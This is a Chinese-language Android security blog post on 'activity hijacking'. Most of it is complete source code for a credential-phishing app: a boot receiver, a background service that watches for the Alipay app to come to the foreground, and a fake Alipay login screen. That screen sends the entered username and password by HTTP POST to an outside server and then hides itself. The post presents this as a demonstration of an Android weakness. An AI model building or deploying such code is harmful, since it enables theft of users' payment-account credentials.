android安全-activity劫持

时间:2021-08-14 17:40:36

一、activity劫持简介

DEFCON-19上公布的,原文见
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt

android运行时,会在很多activity中进行切换,它自身维护着一个activity的历史栈,用于在用户点击back时,恢复前一个activity,栈顶指向当前显示的activity。

原文如下:

http://developer.android.com/guide/topics/fundamentals/tasks-and-back-stack.html

在我们使用intent开启activity时,intent有一个选项FLAG_ACTIVITY_NEW_TASK,可以使得这个activity位于栈顶

http://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_NEW_TASK

如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。

 

二、实例

androidmanifest.xml

?
123456789101112131415161718192021222324252627282930313233 <?xml
version
="1.0"
encoding
="utf-8"?>
<manifest
xmlns:android
="http://schemas.android.com/apk/res/android"
      package="com.xiaod.Hijack"      android:versionCode="1"      android:versionName="1.0">    <uses-sdk
android:minSdkVersion
="3"
/>
    <uses-permission
android:name
="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
    <uses-permission
android:name
="android.permission.INTERNET"
/>
    <application
android:icon
="@drawable/icon"
android:label
="@string/app_name"
android:name
=".HijackApplication">
        <activity
android:name
=".HijackActivity"
                  android:label="@string/app_name">            <intent-filter>                <action
android:name
="android.intent.action.MAIN"
/>
                <category
android:name
="android.intent.category.LAUNCHER"
/>
            </intent-filter>        </activity>        <activity
android:name
=".AlipayLogin"
android:noHistory
="true"
android:windowSoftInputMode
="adjustResize"/>
      
<service
android:name
=".HijackService"
android:label
="Hijack Service">
            <intent-filter>                <action
android:name
="com.xiaod.Hijack.service.Hijack"
/>
            </intent-filter>        </service>        <receiver        android:name=".HijackReceiver"        android:enabled="true"        android:exported="true"        android:label="Hijack Receiver">            <intent-filter>                <action
android:name
="android.intent.action.BOOT_COMPLETED"
/>
            </intent-filter>        </receiver>    </application></manifest>

HijackReceiver.java 用于开机启动HijackService

?
1234567891011121314151617 package
com.xiaod.Hijack;
 import
android.content.BroadcastReceiver;
import
android.content.Context;
import
android.content.Intent;
import
android.util.Log;
 public
class
HijackReceiver extends
BroadcastReceiver{
     @Override    public
void
onReceive(Context context, Intent intent) {
        if
(intent.getAction().equals(
"android.intent.action.BOOT_COMPLETED")) {
            Intent serviceIntent = new
Intent(context, HijackService.
class);
            context.startService(serviceIntent);        }    }}

HijackService.java用于判断正常应用是否启动,如果启动则开启劫持activity

?
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566 package
com.xiaod.Hijack;
 import
java.util.HashMap;
import
java.util.List;
import
java.util.Timer;
import
java.util.TimerTask;
 import
android.app.ActivityManager;
import
android.app.ActivityManager.RunningAppProcessInfo;
import
android.app.Service;
import
android.content.Context;
import
android.content.Intent;
import
android.os.IBinder;
import
android.util.Log;
 public
class
HijackService extends
Service{
    Timer mTimer = new
Timer();
    //新建一个定时任务    TimerTask mTimerTask = new
TimerTask() {
        @Override        public
void
run() {
            // TODO Auto-generated method stub            //获取当前运行的进程列表            ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );            List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();             //枚举进程            for(RunningAppProcessInfo appProcess : appProcesses) {                //如果APP在前台                if
(appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                    //APP是否在需要劫持的列表中                    if
(mVictims.containsKey(appProcess.processName)) {
                        if(((HijackApplication)getApplication()).getHasHijackStart() == false)                        {                            Intent dialogIntent = new
Intent(getBaseContext(), mVictims.get(appProcess.processName));
                            //设置启动的activity位于栈顶                            dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                            getApplication().startActivity(dialogIntent);                            ((HijackApplication)getApplication()).setHasHijackStart(true);                        }                    }                }            }            Log.e("HijackService_TimerTask","here");        }     };    HashMap<String,Class<?>> mVictims = new
HashMap<String,Class<?>>();
    long
delay =
1000;
    long
period =
1000;
     @Override    public
void
onStart(Intent intent, int
startid) {
         //设置需要劫持的应用        mVictims.put("com.eg.android.AlipayGphone", AlipayLogin.class);        //开启计时任务        mTimer.scheduleAtFixedRate(mTimerTask, delay, period);    }     @Override    public
IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub        return
null
;
    }}

AlipayLogin.java 是伪造的界面,用于获取用户凭证并发送到指定地址,并返回正常应用

?
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283 package
com.xiaod.Hijack;
 import
java.util.ArrayList;
import
java.util.List;
 import
org.apache.http.HttpResponse;
import
org.apache.http.NameValuePair;
import
org.apache.http.client.entity.UrlEncodedFormEntity;
import
org.apache.http.client.methods.HttpPost;
import
org.apache.http.impl.client.DefaultHttpClient;
import
org.apache.http.message.BasicNameValuePair;
import
org.apache.http.protocol.HTTP;
 import
android.app.Activity;
import
android.os.Bundle;
import
android.view.View;
import
android.view.View.OnClickListener;
import
android.view.Window;
import
android.widget.Button;
import
android.widget.EditText;
 public
class
AlipayLogin extends
Activity {
    private
Button mBtnLogin;
    private
Button mBtnReg;
    private
EditText mEdtUser;
    private
EditText mEdtPwd;
    @Override    public
void
onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);        requestWindowFeature(Window.FEATURE_NO_TITLE);        setContentView(R.layout.alipay_login);               mBtnLogin = (Button) findViewById(R.id.btn_login);        mBtnReg = (Button) findViewById(R.id.btn_reg);        mEdtUser = (EditText) findViewById(R.id.et_user);        mEdtPwd = (EditText) findViewById(R.id.et_pwd);         mBtnLogin.setOnClickListener(new
OnClickListener() {
             @Override            public
void
onClick(View v) {
                // TODO Auto-generated method stub                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString());                moveTaskToBack(true);            }         });         mBtnReg.setOnClickListener(new
OnClickListener() {
             @Override            public
void
onClick(View v) {
                // TODO Auto-generated method stub                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString());                moveTaskToBack(true);            }         });    }    public
void
onBackPressed() {
        moveTaskToBack(true);    }     private
boolean
sendInfo(String user, String pwd) {
        HttpPost request = new
HttpPost(
"http://www.sectop.com/Hijack.php");
        List<NameValuePair> params = new
ArrayList<NameValuePair>();
        params.add(new
BasicNameValuePair(
"user", user));
        params.add(new
BasicNameValuePair(
"pwd", pwd));
         try
{
            request.setEntity(new
UrlEncodedFormEntity(params, HTTP.UTF_8));
            HttpResponse response = new
DefaultHttpClient().execute(request);
            if(response.getStatusLine().getStatusCode() == 200) {                return
true
;
            }            else
{
                return
false
;
            }        }catch
(Exception e) {
        }        return
false
;
    }}

演示效果如下:

启动正常应用

android安全-activity劫持

 

这时恶意的后台service启动了伪造的activity

android安全-activity劫持

当用户输入凭证之后
android安全-activity劫持

 

恶意activity记录下凭证,并跳回到正常应用

android安全-activity劫持

在远端服务器已经记录下了用户凭证

android安全-activity劫持